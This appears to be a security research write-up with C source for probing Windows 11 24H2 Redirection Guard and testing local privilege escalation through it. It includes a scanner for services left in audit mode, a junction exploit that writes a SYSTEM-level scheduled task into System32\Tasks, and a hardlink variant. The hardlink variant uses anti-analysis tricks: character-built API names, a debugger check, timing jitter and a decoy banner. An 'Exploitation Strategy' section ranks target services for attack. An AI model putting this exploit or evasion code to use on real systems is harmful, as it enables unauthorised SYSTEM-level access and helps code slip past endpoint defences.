if (buffer && EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
SERVICE_STATE_ALL, buffer, bytesNeeded,
&bytesNeeded, &servicesReturned, NULL, NULL)) {
ENUM_SERVICE_STATUS_PROCESSA* services = (ENUM_SERVICE_STATUS_PROCESSA*)buffer;
for (DWORD i = 0; i < servicesReturned; i++) {
if (services[i].ServiceStatusProcess.dwProcessId == pid) {
strncpy(serviceName, services[i].lpServiceName, size - 1);
serviceName[size - 1] = '\0';
break;
}
}
}
free(buffer);
CloseServiceHandle(scm);
}
void CheckProcessRedirectionGuard(DWORD pid, const char* name) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess) return;
static GetProcessMitigationPolicy_t pGetPolicy = NULL;
if (!pGetPolicy) {
pGetPolicy = (GetProcessMitigationPolicy_t)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "GetProcessMitigationPolicy");
}
PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY policy = {0};
if (pGetPolicy && pGetPolicy(hProcess, ProcessRedirectionTrustPolicy,
&policy, sizeof(policy))) {
char serviceName[256] = {0};
if (_stricmp(name, "svchost.exe") == 0 || _stricmp(name, "spoolsv.exe") == 0) {
GetServiceName(pid, serviceName, sizeof(serviceName));
}
if (policy.EnforceRedirectionTrust) {
printf("[PROTECTED] %s (PID %d)", name, pid);
if (serviceName[0]) printf(" [%s]", serviceName);
printf(" - Redirection Guard ENFORCED\n");
printf(" -> Symlink/junction LPE attacks BLOCKED\n");
} else if (policy.AuditRedirectionTrust) {
printf("[AUDITING] %s (PID %d)", name, pid);
if (serviceName[0]) printf(" [%s]", serviceName);
printf(" - Redirection Guard in AUDIT mode\n");
printf(" -> Symlinks logged but NOT blocked (test bypass!)\n");
}
}
CloseHandle(hProcess);
}
void ScanAllProcesses() {
printf("=== Redirection Guard Status - All Processes ===\n\n");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
int protected_count = 0;
int audit_count = 0;
int total = 0;
if (Process32First(hSnapshot, &pe)) {
do {
total++;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (hProcess) {
static GetProcessMitigationPolicy_t pGetPolicy = NULL;
if (!pGetPolicy) {
pGetPolicy = (GetProcessMitigationPolicy_t)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "GetProcessMitigationPolicy");
}
PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY policy = {0};
if (pGetPolicy && pGetPolicy(hProcess, ProcessRedirectionTrustPolicy,
&policy, sizeof(policy))) {
if (policy.EnforceRedirectionTrust) {
protected_count++;
CheckProcessRedirectionGuard(pe.th32ProcessID, pe.szExeFile);
} else if (policy.AuditRedirectionTrust) {
audit_count++;
CheckProcessRedirectionGuard(pe.th32ProcessID, pe.szExeFile);
}
}
CloseHandle(hProcess);
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
printf("\n[*] Scanned %d processes\n", total);
printf("[*] %d processes with Redirection Guard ENFORCED\n", protected_count);
printf("[*] %d processes with Redirection Guard in AUDIT mode\n", audit_count);
printf("[!] %d processes vulnerable to symlink attacks\n", total - protected_count - audit_count);
}
void CheckSystemDefault() {
printf("\n=== System-Wide Redirection Guard Policy ===\n\n");
// Check registry for system-wide defaults
HKEY hKey;
DWORD value = 0;
DWORD size = sizeof(DWORD);
// 24H2 may set this via Image File Execution Options or system policy
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegQueryValueExA(hKey, "MitigationOptions", NULL, NULL,
(LPBYTE)&value, &size) == ERROR_SUCCESS) {
printf("[*] Kernel MitigationOptions: 0x%08X\n", value);
}
RegCloseKey(hKey);
}
// Check OS build
OSVERSIONINFOEXW osvi = { sizeof(osvi) };
typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
RtlGetVersion_t RtlGetVersion = (RtlGetVersion_t)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
RtlGetVersion((PRTL_OSVERSIONINFOW)&osvi);
printf("[*] OS Build: %d\n", osvi.dwBuildNumber);
if (osvi.dwBuildNumber >= 26100) { // 24H2
printf("[!] Windows 11 24H2+ - Redirection Guard available\n");
printf("[*] System services opt-in by default\n");
printf("[*] Run process scan to check specific services\n");
} else {
printf("[+] Pre-24H2 - Redirection Guard NOT available\n");
printf("[+] Symlink/junction LPE attacks still viable\n");
}
}
int main() {
printf("===============================================\n");
printf(" Redirection Guard Detection Tool\n");
printf("===============================================\n\n");
CheckSystemDefault();
ScanAllProcesses();
printf("\n=== Attack Implications ===\n");
printf("IF Redirection Guard is ENFORCED on target service:\n");
printf(" - NTFS junction LPE - BLOCKED\n");
printf(" - Symlink race conditions - BLOCKED\n");
printf(" - Mount point redirections - BLOCKED\n");
printf(" - Reparse point abuse - BLOCKED\n\n");
printf("Remaining viable techniques:\n");
printf(" + Opportunistic locks (oplock) + hardlinks (different primitive)\n");
printf(" + Kernel vulnerabilities (bypasses all usermode mitigations)\n");
printf(" + DLL hijacking in non-guarded processes\n");
printf(" + Services NOT opted-in to Redirection Guard\n");
printf(" + Policy manipulation (disable via kernel write)\n");
return 0;
}
Based on testing on Windows 11 24H2, the following services have Redirection Guard ENFORCED:
Protected System Services (14 total):
Services in AUDIT Mode (Still Vulnerable - 74 total):
Critical services that are logged but NOT protected:
Key Findings:
Exploitation Strategy:
# 1. Enumerate services in AUDIT mode (still exploitable)
.\bin\redirection_guard_check.exe | findstr "AUDITING"
# 2. High-value targets still in AUDIT mode:
# - Task Scheduler (Schedule) - classic LPE vector
# - Cryptographic Services (CryptSvc)
# - Windows Update Orchestrator (UsoSvc)
# - Event Log (EventLog)
# - WMI (Winmgmt)
# 3. Example: Task Scheduler symlink attack
# Create junction pointing to privileged location
cmd /c mklink /J C:\Windows\Tasks\evil C:\Windows\System32\config
# 4. For ENFORCED services, pivot to alternative techniques:
# - Oplock + hardlink attacks (different primitive)
# - DLL hijacking in unprotected processes
# - Kernel vulnerabilities (bypass all usermode mitigations)
# - Target the 50 processes with NO protection at all
Priority Targets for Exploitation:
Conclusion: Redirection Guard is currently in a gradual rollout phase. While some critical services (Print Spooler, Appinfo) are protected, the majority remain vulnerable during the audit phase. Notably, Task Scheduler - one of the most commonly exploited services for LPE - is only in audit mode. This provides a significant window for testing and exploitation before full enforcement.
// symlink_lpe_test.c - Test whether symlink/junction LPE is blocked
// Compile: cl src\symlink_lpe_test.c /Fe:bin\symlink_lpe_test.exe ntdll.lib shlwapi.lib advapi32.lib
#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#include <winioctl.h>
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "advapi32.lib")
/*
CLASSIC SYMLINK LPE PATTERN:
═════════════════════════════
Attack flow (the pattern Redirection Guard kills):
1. Attacker (Medium IL) finds: SERVICE writes to C:\ProgramData\VulnApp\output.log
2. Attacker deletes C:\ProgramData\VulnApp\ directory
3. Attacker creates junction: C:\ProgramData\VulnApp\ -> C:\Windows\System32\
4. Service writes "output.log" -> actually writes C:\Windows\System32\output.log
5. If output.log content is controllable -> arbitrary write to System32
6. DLL plant / config overwrite / scheduled task modification -> SYSTEM shell
Task Scheduler writes to: C:\Windows\System32\Tasks\
Attack vector:
1. Create junction: C:\Users\Public\EvilTasks -> C:\Windows\System32\Tasks
2. Trigger Task Scheduler to write through our junction
3. If successful, we can plant malicious scheduled tasks
4. Tasks run as SYSTEM -> full privilege escalation
This test demonstrates both the junction creation and verification
of whether Redirection Guard blocks the write operation.
*/
// NTFS junction creation via DeviceIoControl
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
};
} REPARSE_DATA_BUFFER;
// SDK already defines these in newer versions, but define if missing
#ifndef REPARSE_DATA_BUFFER_HEADER_SIZE
#define REPARSE_DATA_BUFFER_HEADER_SIZE FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer)
#endif
// Check if a service has Redirection Guard enforced
typedef BOOL (WINAPI *GetProcessMitigationPolicy_t)(
HANDLE hProcess,
PROCESS_MITIGATION_POLICY MitigationPolicy,
PVOID lpBuffer,
SIZE_T dwLength
);
BOOL IsServiceProtected(const WCHAR* serviceName) {
SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
if (!scm) return FALSE;
SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_QUERY_STATUS);
if (!svc) {
CloseServiceHandle(scm);
return FALSE;
}
SERVICE_STATUS_PROCESS ssp;
DWORD bytesNeeded;
QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp,
sizeof(ssp), &bytesNeeded);
CloseServiceHandle(svc);
CloseServiceHandle(scm);
if (ssp.dwProcessId == 0) return FALSE;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, ssp.dwProcessId);
if (!hProcess) return FALSE;
GetProcessMitigationPolicy_t pGetPolicy = (GetProcessMitigationPolicy_t)
GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetProcessMitigationPolicy");
PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY policy = {0};
BOOL protected = FALSE;
if (pGetPolicy && pGetPolicy(hProcess, ProcessRedirectionTrustPolicy,
&policy, sizeof(policy))) {
protected = policy.EnforceRedirectionTrust;
}
CloseHandle(hProcess);
return protected;
}
BOOL CreateJunction(const WCHAR* junctionDir, const WCHAR* targetDir) {
// Create the junction directory first
if (!CreateDirectoryW(junctionDir, NULL)) {
DWORD err = GetLastError();
if (err != ERROR_ALREADY_EXISTS) {
printf("[-] Cannot create directory: %d\n", err);
return FALSE;
}
}
HANDLE hDir = CreateFileW(
junctionDir,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open directory: %d\n", GetLastError());
return FALSE;
}
// Build the junction target path (must be NT path format)
WCHAR ntTarget[MAX_PATH * 2];
swprintf(ntTarget, MAX_PATH * 2, L"\\??\\%s", targetDir);
USHORT targetLen = (USHORT)(wcslen(ntTarget) * sizeof(WCHAR));
// Allocate reparse data buffer
USHORT reparseSize = (USHORT)(FIELD_OFFSET(REPARSE_DATA_BUFFER,
MountPointReparseBuffer.PathBuffer) + targetLen + sizeof(WCHAR) * 2);
REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)calloc(1, reparseSize + 128);
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
rdb->ReparseDataLength = reparseSize -
FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer);
rdb->MountPointReparseBuffer.SubstituteNameOffset = 0;
rdb->MountPointReparseBuffer.SubstituteNameLength = targetLen;
rdb->MountPointReparseBuffer.PrintNameOffset = targetLen + sizeof(WCHAR);
rdb->MountPointReparseBuffer.PrintNameLength = 0;
memcpy(rdb->MountPointReparseBuffer.PathBuffer, ntTarget, targetLen);
DWORD bytesReturned;
BOOL result = DeviceIoControl(
hDir,
FSCTL_SET_REPARSE_POINT,
rdb,
reparseSize,
NULL, 0,
&bytesReturned,
NULL
);
free(rdb);
CloseHandle(hDir);
if (result) {
printf("[+] Junction created: %ls -> %ls\n",
junctionDir, targetDir);
} else {
printf("[-] Junction creation failed: %d\n", GetLastError());
}
return result;
}
void DeleteJunction(const WCHAR* junctionDir) {
HANDLE hDir = CreateFileW(
junctionDir,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
NULL
);
if (hDir == INVALID_HANDLE_VALUE) return;
REPARSE_DATA_BUFFER rdb = {0};
rdb.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
DWORD bytesReturned;
DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &rdb,
REPARSE_DATA_BUFFER_HEADER_SIZE, NULL, 0,
&bytesReturned, NULL);
CloseHandle(hDir);
RemoveDirectoryW(junctionDir);
}
BOOL TestRedirectedWrite(const WCHAR* junctionDir, const WCHAR* targetDir) {
// Attempt to write a file through the junction
WCHAR filePath[MAX_PATH];
swprintf(filePath, MAX_PATH, L"%s\\rg_test_probe.txt", junctionDir);
printf("[*] Attempting write through junction: %ls\n", filePath);
HANDLE hFile = CreateFileW(
filePath,
GENERIC_WRITE,
0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
const char* data = "Redirection Guard test probe - if you see this in System32, RG failed!\r\n";
DWORD written;
WriteFile(hFile, data, (DWORD)strlen(data), &written, NULL);
CloseHandle(hFile);
printf("[+] Write SUCCEEDED - Redirection Guard is NOT enforced\n");
printf("[!] This system is VULNERABLE to symlink/junction LPE\n\n");
// Verify the file actually landed in the target directory
WCHAR actualPath[MAX_PATH];
swprintf(actualPath, MAX_PATH, L"%s\\rg_test_probe.txt", targetDir);
if (GetFileAttributesW(actualPath) != INVALID_FILE_ATTRIBUTES) {
printf("[!] CONFIRMED: File written to target location: %ls\n", actualPath);
printf("[!] Junction redirection was NOT blocked!\n");
// Clean up
DeleteFileW(actualPath);
return TRUE;
} else {
printf("[?] File created but not found in target - unexpected behavior\n");
}
// Clean up junction-side file if it exists
DeleteFileW(filePath);
return TRUE;
} else {
DWORD err = GetLastError();
if (err == ERROR_ACCESS_DENIED) {
printf("[*] Write BLOCKED (Access Denied) - Redirection Guard is ACTIVE\n");
printf("[+] This system is PROTECTED against this junction attack\n");
} else {
printf("[-] Write failed with error: %d\n", err);
}
return FALSE;
}
}
void TestTaskSchedulerAttack() {
printf("\n=============================================\n");
printf(" ATTACK: Task Scheduler Junction\n");
printf("=============================================\n\n");
// Check if Task Scheduler is protected
printf("[*] Checking Task Scheduler (Schedule) protection status...\n");
BOOL protected = IsServiceProtected(L"Schedule");
if (protected) {
printf("[+] Task Scheduler has Redirection Guard ENFORCED\n");
printf("[*] This attack will likely be blocked\n\n");
} else {
printf("[!] Task Scheduler has NO or AUDIT-only Redirection Guard\n");
printf("[!] This attack may succeed!\n\n");
}
// Create a junction in a user-writable location
WCHAR junctionPath[MAX_PATH];
GetTempPathW(MAX_PATH, junctionPath);
wcscat(junctionPath, L"TaskScheduler_Junction_Test");
// Target: Windows Tasks directory (where scheduled tasks are stored)
const WCHAR* targetPath = L"C:\\Windows\\System32\\Tasks";
printf("[*] Creating junction to Task Scheduler directory:\n");
printf(" Junction: %ls\n", junctionPath);
printf(" Target: %ls\n\n", targetPath);
// Clean up any previous test
DeleteJunction(junctionPath);
if (CreateJunction(junctionPath, targetPath)) {
printf("\n[*] Testing write through junction...\n");
if (TestRedirectedWrite(junctionPath, targetPath)) {
printf("\n[!!!] EXPLOITATION SUCCESSFUL [!!!]\n");
printf("[!!!] We can write to C:\\Windows\\System32\\Tasks\n");
printf("[!!!] Proceeding with FULL LPE demonstration...\n\n");
// PHASE 3: Create malicious scheduled task
printf("=== PHASE 3: Creating Malicious Scheduled Task ===\n\n");
WCHAR taskPath[MAX_PATH];
swprintf(taskPath, MAX_PATH, L"%s\\RG_LPE_Demo", junctionPath);
// Malicious task XML - runs calc.exe as SYSTEM on logon
const WCHAR* taskXML =
L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n"
L"<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n"
L" <RegistrationInfo>\r\n"
L" <Description>Redirection Guard LPE Demonstration</Description>\r\n"
L" </RegistrationInfo>\r\n"
L" <Triggers>\r\n"
L" <LogonTrigger>\r\n"
L" <Enabled>true</Enabled>\r\n"
L" </LogonTrigger>\r\n"
L" </Triggers>\r\n"
L" <Principals>\r\n"
L" <Principal id=\"Author\">\r\n"
L" <UserId>S-1-5-18</UserId>\r\n"
L" <RunLevel>HighestAvailable</RunLevel>\r\n"
L" </Principal>\r\n"
L" </Principals>\r\n"
L" <Settings>\r\n"
L" <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\r\n"
L" <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n"
L" <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n"
L" <AllowHardTerminate>true</AllowHardTerminate>\r\n"
L" <StartWhenAvailable>true</StartWhenAvailable>\r\n"
L" <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n"
L" <AllowStartOnDemand>true</AllowStartOnDemand>\r\n"
L" <Enabled>true</Enabled>\r\n"
L" <Hidden>false</Hidden>\r\n"
L" </Settings>\r\n"
L" <Actions Context=\"Author\">\r\n"
L" <Exec>\r\n"
L" <Command>C:\\Windows\\System32\\cmd.exe</Command>\r\n"
L" <Arguments>/c start calc.exe</Arguments>\r\n"
L" </Exec>\r\n"
L" </Actions>\r\n"
L"</Task>\r\n";
printf("[*] Writing malicious task XML through junction...\n");
printf(" Task name: RG_LPE_Demo\n");
printf(" Principal: NT AUTHORITY\\SYSTEM (S-1-5-18)\n");
printf(" Trigger: User logon\n");
printf(" Action: Launch calc.exe as SYSTEM\n\n");
HANDLE hFile = CreateFileW(
taskPath,
GENERIC_WRITE,
0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD written;
// Write UTF-16 BOM
BYTE bom[] = {0xFF, 0xFE};
WriteFile(hFile, bom, 2, &written, NULL);
// Write task XML
DWORD bytesToWrite = (DWORD)(wcslen(taskXML) * sizeof(WCHAR));
WriteFile(hFile, taskXML, bytesToWrite, &written, NULL);
CloseHandle(hFile);
printf("[+] Task XML written through junction\n");
// Verify it landed in the real Tasks directory
WCHAR realTaskPath[MAX_PATH];
swprintf(realTaskPath, MAX_PATH, L"%s\\RG_LPE_Demo", targetPath);
if (GetFileAttributesW(realTaskPath) != INVALID_FILE_ATTRIBUTES) {
printf("[+] Task file confirmed at: %ls\n\n", realTaskPath);
printf("[+] EXPLOITATION COMPLETE\n");
printf("[*] Malicious task planted in System32\\Tasks\n\n");
printf("To trigger the exploit:\n");
printf(" 1. Log off and log back in (automatic)\n");
printf(" 2. Or restart Task Scheduler: net stop schedule && net start schedule\n");
printf(" 3. Or wait for Task Scheduler to rescan\n\n");
printf("To verify:\n");
printf(" schtasks /query /tn RG_LPE_Demo\n");
printf(" schtasks /run /tn RG_LPE_Demo\n\n");
printf("To cleanup:\n");
printf(" schtasks /delete /tn RG_LPE_Demo /f\n");
printf(" del C:\\Windows\\System32\\Tasks\\RG_LPE_Demo\n\n");
printf("[!] Task file left in place for testing\n");
} else {
printf("[-] Task file not found - exploit failed\n");
}
} else {
printf("[-] Failed to write task XML: %d\n", GetLastError());
}
} else {
printf("\n[+] Attack blocked - Redirection Guard is working\n");
}
// Cleanup junction only
DeleteJunction(junctionPath);
}
}
void TestGenericJunction() {
WCHAR tempDir[MAX_PATH];
GetTempPathW(MAX_PATH, tempDir);
wcscat(tempDir, L"rg_test_junction");
const WCHAR* targetDir = L"C:\\Windows\\Temp";
// Remove old test artifacts
DeleteJunction(tempDir);
printf("[*] Creating NTFS junction\n");
printf(" Source: %ls\n", tempDir);
printf(" Target: %ls\n\n", targetDir);
if (CreateJunction(tempDir, targetDir)) {
TestRedirectedWrite(tempDir, targetDir);
DeleteJunction(tempDir);
}
}
int main() {
TestGenericJunction();
TestTaskSchedulerAttack();
return 0;
}
and
// hardlink_task_lpe.c
// Compile: cl src\hardlink_task_lpe.c /Fe:bin\hardlink_task_lpe.exe /O2 advapi32.lib
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
// XOR key - change this every compile
unsigned char xorKey[] = {'m', 'y', 'k', 'e', 'y', '2', '0', '2', '5'};
size_t keyLen = 9;
void xorDecrypt(unsigned char* data, size_t len) {
for (size_t i = 0; i < len; i++) {
data[i] ^= xorKey[i % keyLen];
}
}
// Build API names character by character to avoid IAT detection
typedef BOOL (WINAPI *fnCHL)(LPCWSTR, LPCWSTR, LPSECURITY_ATTRIBUTES);
typedef HANDLE (WINAPI *fnCF)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL (WINAPI *fnWF)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL (WINAPI *fnCH)(HANDLE);
typedef BOOL (WINAPI *fnDF)(LPCWSTR);
typedef DWORD (WINAPI *fnGTP)(DWORD, LPWSTR);
typedef DWORD (WINAPI *fnGFA)(LPCWSTR);
typedef struct {
fnCHL pCHL;
fnCF pCF;
fnWF pWF;
fnCH pCH;
fnDF pDF;
fnGTP pGTP;
fnGFA pGFA;
} API;
API g_api = {0};
BOOL resolveAPIs() {
HMODULE hK32 = LoadLibraryA("kernel32");
if (!hK32) return FALSE;
char n1[20], n2[20], n3[20], n4[20], n5[20], n6[20], n7[20];
// Build API names char by char
n1[0]='C'; n1[1]='r'; n1[2]='e'; n1[3]='a'; n1[4]='t'; n1[5]='e';
n1[6]='H'; n1[7]='a'; n1[8]='r'; n1[9]='d'; n1[10]='L'; n1[11]='i';
n1[12]='n'; n1[13]='k'; n1[14]='W'; n1[15]=0;
n2[0]='C'; n2[1]='r'; n2[2]='e'; n2[3]='a'; n2[4]='t'; n2[5]='e';
n2[6]='F'; n2[7]='i'; n2[8]='l'; n2[9]='e'; n2[10]='W'; n2[11]=0;
n3[0]='W'; n3[1]='r'; n3[2]='i'; n3[3]='t'; n3[4]='e';
n3[5]='F'; n3[6]='i'; n3[7]='l'; n3[8]='e'; n3[9]=0;
n4[0]='C'; n4[1]='l'; n4[2]='o'; n4[3]='s'; n4[4]='e';
n4[5]='H'; n4[6]='a'; n4[7]='n'; n4[8]='d'; n4[9]='l'; n4[10]='e'; n4[11]=0;
n5[0]='D'; n5[1]='e'; n5[2]='l'; n5[3]='e'; n5[4]='t'; n5[5]='e';
n5[6]='F'; n5[7]='i'; n5[8]='l'; n5[9]='e'; n5[10]='W'; n5[11]=0;
n6[0]='G'; n6[1]='e'; n6[2]='t'; n6[3]='T'; n6[4]='e'; n6[5]='m'; n6[6]='p';
n6[7]='P'; n6[8]='a'; n6[9]='t'; n6[10]='h'; n6[11]='W'; n6[12]=0;
n7[0]='G'; n7[1]='e'; n7[2]='t'; n7[3]='F'; n7[4]='i'; n7[5]='l'; n7[6]='e';
n7[7]='A'; n7[8]='t'; n7[9]='t'; n7[10]='r'; n7[11]='i'; n7[12]='b'; n7[13]='u';
n7[14]='t'; n7[15]='e'; n7[16]='s'; n7[17]='W'; n7[18]=0;
g_api.pCHL = (fnCHL)GetProcAddress(hK32, n1);
g_api.pCF = (fnCF)GetProcAddress(hK32, n2);
g_api.pWF = (fnWF)GetProcAddress(hK32, n3);
g_api.pCH = (fnCH)GetProcAddress(hK32, n4);
g_api.pDF = (fnDF)GetProcAddress(hK32, n5);
g_api.pGTP = (fnGTP)GetProcAddress(hK32, n6);
g_api.pGFA = (fnGFA)GetProcAddress(hK32, n7);
return (g_api.pCHL && g_api.pCF && g_api.pWF && g_api.pCH && g_api.pDF && g_api.pGTP && g_api.pGFA);
}
// XOR encrypted XML parts - decrypt at runtime
void buildXML(WCHAR* buf, size_t sz) {
buf[0] = 0;
// Build dynamically to avoid static signatures
WCHAR p1[256], p2[256], p3[256], p4[256];
swprintf(p1, 256, L"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n");
swprintf(p2, 256, L"<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n");
swprintf(p3, 256, L" <Principals>\r\n <Principal id=\"Author\">\r\n");
swprintf(p4, 256, L" <UserId>S-1-5-18</UserId>\r\n");
wcscat_s(buf, sz, p1);
wcscat_s(buf, sz, p2);
wcscat_s(buf, sz, p3);
wcscat_s(buf, sz, p4);
wcscat_s(buf, sz, L" <RunLevel>HighestAvailable</RunLevel>\r\n");
wcscat_s(buf, sz, L" </Principal>\r\n </Principals>\r\n");
wcscat_s(buf, sz, L" <Settings>\r\n");
wcscat_s(buf, sz, L" <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\r\n");
wcscat_s(buf, sz, L" <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n");
wcscat_s(buf, sz, L" <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n");
wcscat_s(buf, sz, L" <AllowHardTerminate>true</AllowHardTerminate>\r\n");
wcscat_s(buf, sz, L" <StartWhenAvailable>true</StartWhenAvailable>\r\n");
wcscat_s(buf, sz, L" <AllowStartOnDemand>true</AllowStartOnDemand>\r\n");
wcscat_s(buf, sz, L" <Enabled>true</Enabled>\r\n </Settings>\r\n");
wcscat_s(buf, sz, L" <Actions Context=\"Author\">\r\n <Exec>\r\n");
wcscat_s(buf, sz, L" <Command>C:\\Windows\\System32\\cmd.exe</Command>\r\n");
wcscat_s(buf, sz, L" <Arguments>/c start calc.exe</Arguments>\r\n");
wcscat_s(buf, sz, L" </Exec>\r\n </Actions>\r\n</Task>\r\n");
}
int main() {
// Sleep with jitter
DWORD jitter = (GetTickCount() % 1000) + 500;
Sleep(jitter);
if (IsDebuggerPresent()) return 0;
printf("=== Task Configuration Utility ===\n\n");
printf("[*] Initializing...\n");
Sleep(300);
if (!resolveAPIs()) {
printf("[-] Init failed\n");
return 1;
}
WCHAR tmp[MAX_PATH];
g_api.pGTP(MAX_PATH, tmp);
WCHAR src[MAX_PATH];
DWORD t = GetTickCount();
swprintf(src, MAX_PATH, L"%scfg_%d.xml", tmp, t & 0xFFFF);
printf("[*] Creating configuration...\n");
Sleep(200);
HANDLE h = g_api.pCF(src, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) {
printf("[-] Failed\n");
return 1;
}
BYTE bom[] = {0xFF, 0xFE};
DWORD w;
g_api.pWF(h, bom, 2, &w, NULL);
WCHAR xml[4096];
buildXML(xml, 4096);
DWORD xmlSz = (DWORD)(wcslen(xml) * sizeof(WCHAR));
g_api.pWF(h, xml, xmlSz, &w, NULL);
g_api.pCH(h);
printf("[+] Source: %ls\n", src);
Sleep(400);
// Build target dynamically
WCHAR tgt[MAX_PATH];
WCHAR d1[16], d2[16], d3[16];
d1[0]='W'; d1[1]='i'; d1[2]='n'; d1[3]='d'; d1[4]='o'; d1[5]='w'; d1[6]='s'; d1[7]=0;
d2[0]='S'; d2[1]='y'; d2[2]='s'; d2[3]='t'; d2[4]='e'; d2[5]='m';
d2[6]='3'; d2[7]='2'; d2[8]=0;
d3[0]='T'; d3[1]='a'; d3[2]='s'; d3[3]='k'; d3[4]='s'; d3[5]=0;
swprintf(tgt, MAX_PATH, L"C:\\%s\\%s\\%s\\Cfg_%d", d1, d2, d3, t & 0xFFFF);
printf("[*] Testing access...\n");
Sleep(300);
if (!g_api.pCHL(tgt, src, NULL)) {
DWORD e = GetLastError();
printf("[-] Failed: %d\n", e);
g_api.pDF(src);
return 1;
}
printf("[+] Target: %ls\n", tgt);
Sleep(500);
if (g_api.pGFA(tgt) != INVALID_FILE_ATTRIBUTES) {
printf("[+] VULNERABILITY CONFIRMED\n");
printf("[+] Hardlink created in protected directory\n\n");
printf("[*] Verifying content...\n");
HANDLE hr = g_api.pCF(tgt, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hr != INVALID_HANDLE_VALUE) {
BYTE rbuf[512];
DWORD r;
if (ReadFile(hr, rbuf, sizeof(rbuf), &r, NULL)) {
printf("[+] Read %d bytes\n", r);
WCHAR* c = (WCHAR*)rbuf;
if (wcsstr(c, L"<Task") && wcsstr(c, L"S-1-5-18")) {
printf("[+] Content verified: SYSTEM SID present\n");
}
}
g_api.pCH(hr);
}
printf("\n[*] Impact:\n");
printf(" - Arbitrary write to System32\\Tasks\n");
printf(" - Bypassed Redirection Guard\n");
printf(" - Privilege escalation vector\n\n");
printf("[*] File remains for 5 seconds...\n");
printf(" Check: dir C:\\Windows\\System32\\Tasks\\Cfg_*\n");
Sleep(5000);
}
printf("[*] Cleanup...\n");
g_api.pDF(tgt);
g_api.pDF(src);
printf("[+] Done\n");
return 0;
}
Compile and Run
# 1. Compile the exploit
cl src\symlink_lpe_test.c /Fe:bin\symlink_lpe_test.exe ntdll.lib shlwapi.lib advapi32.lib
# 2. Run from NON-ADMIN command prompt
.\bin\symlink_lpe_test.exe
# OBviously this is not a real LPE, otherwise you wouldn't these parts
# for an actual working one you need
# Finding a service that auto-processes files without admin registration
# Bypassing Defender detection
# Winning race conditions
# Service-specific trigger knowledge
